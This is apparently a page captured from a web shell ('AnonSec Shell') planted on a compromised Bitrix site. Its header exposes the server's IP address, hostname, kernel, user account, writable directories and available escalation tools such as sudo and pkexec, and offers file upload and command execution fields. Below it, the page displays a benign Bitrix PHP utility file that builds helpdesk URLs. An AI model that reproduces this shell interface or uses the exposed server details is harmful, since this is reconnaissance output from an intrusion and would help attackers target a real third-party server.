AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.148.104.25
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/modules/ui/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/modules/ui/lib/util.php
<?
namespace Bitrix\UI;

use Bitrix\Main\Loader;
use Bitrix\Main\Localization\Loc;

Loc::loadMessages(__FILE__);

/**
 * Class Util
 * @package Bitrix\UI
 */
class Util
{
	private const HELPDESK_DOMAIN = [
		'en' => 'https://helpdesk.bitrix24.com',
		'br' => 'https://helpdesk.bitrix24.com.br',
		'de' => 'https://helpdesk.bitrix24.de',
		'es' => 'https://helpdesk.bitrix24.es',
		'fr' => 'https://helpdesk.bitrix24.fr',
		'it' => 'https://helpdesk.bitrix24.it',
		'pl' => 'https://helpdesk.bitrix24.pl',
		'ru' => 'https://helpdesk.bitrix24.ru',
	];

	public static function getHelpdeskUrl($byLang = false)
	{
		$lang = LANGUAGE_ID;
		if (Loader::includeModule('bitrix24'))
		{
			$licensePrefix = \CBitrix24::getLicensePrefix();
			if(!$byLang || $licensePrefix === 'ua')
			{
				$lang = $licensePrefix;
			}
		}

		switch ($lang)
		{
			case "ru":
			case "by":
			case "kz":
				$helpdeskUrl = static::HELPDESK_DOMAIN['ru'];
				break;

			case "de":
				$helpdeskUrl = static::HELPDESK_DOMAIN['de'];
				break;

			case "br":
				$helpdeskUrl = static::HELPDESK_DOMAIN['br'];
				break;

			case "fr":
				$helpdeskUrl = static::HELPDESK_DOMAIN['fr'];
				break;

			case "la":
				$helpdeskUrl = static::HELPDESK_DOMAIN['es'];
				break;

			case "pl":
				$helpdeskUrl = static::HELPDESK_DOMAIN['pl'];
				break;

			case "it":
				$helpdeskUrl = static::HELPDESK_DOMAIN['it'];
				break;

			default:
				$helpdeskUrl = static::HELPDESK_DOMAIN['en'];
		}

		return $helpdeskUrl;
	}

	/**
	 * Returns used domains.
	 *
	 * @return string[]
	 */
	public static function listDomain()
	{
		return array_values(static::HELPDESK_DOMAIN);
	}

	/**
	 * @param string $code article code.
	 * @return string
	 */
	public static function getArticleUrlByCode(string $code): ?string
	{
		if (preg_match('/([\w]+)/', $code, $matches))
		{
			$articleUrl = self::getHelpdeskUrl();
			$articleUrl .= '/open/code_' . $code . '/';

			return $articleUrl;
		}

		return null;
	}
}


Anon7 - 2022
AnonSec Team